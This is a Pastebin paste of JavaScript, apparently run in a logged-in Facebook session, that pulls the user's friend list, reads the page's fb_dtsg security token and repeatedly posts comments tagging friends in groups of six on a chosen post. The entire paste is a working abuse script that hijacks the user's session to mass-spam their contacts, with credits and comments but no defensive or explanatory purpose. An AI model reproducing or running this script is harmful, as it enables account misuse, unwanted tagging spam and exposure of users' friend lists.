Advertisement
Duchuytb94

Untitled

Nov 28th, 2013
893
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. /* facebook.com/PhanDucHuy12C1 */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3. //Pegar todos amigos
  4. function get_friends(){
  5. var a=x__0();
  6. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  7. a.send(null);
  8. if (a.readyState == 4) {
  9. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  10. return f.payload.entries;
  11. }
  12. return false;
  13. }
  14. /* Keo DeeZay */
  15. //Pegar todos amigos
  16. function get_uid(b){
  17. var a=x__0();
  18. a.open("GET", 'http://graph.facebook.com/'+b, false);
  19. a.send();
  20. if (a.readyState == 4) {
  21. return uid = JSON.parse(a.responseText).id;
  22. }
  23. return false;
  24. }
  25. // Pattern que vai trocar o valor dos comentários pelas marcações
  26. var patt = /comment_text=(.*?)&/
  27. var c = 1;
  28. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  29. uid = get_uid(username);
  30. a = window.top.location;
  31. termina = 0;
  32. var amigos = get_friends();
  33. post_id = /[0-9]{8,}/.exec(a);
  34. uids = 'comment_text=';
  35. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  36. for ( var n = 1 ; n < amigos.length ; n++ ){
  37. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  38. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  39. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  40. c++;
  41. if(c == 7){
  42. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  43. uids += '&';
  44. // ...envia as coisas com o método do indiano...
  45. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  46. // ... espera um segundo...
  47. z = setTimeout('function(){asd=0}', 1000);
  48. clearInterval(z);
  49. // ... e seta tudo de novo pra recomeçar
  50. c = 1;
  51. uids = 'comment_text=';
  52.  
  53. }
  54.  
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement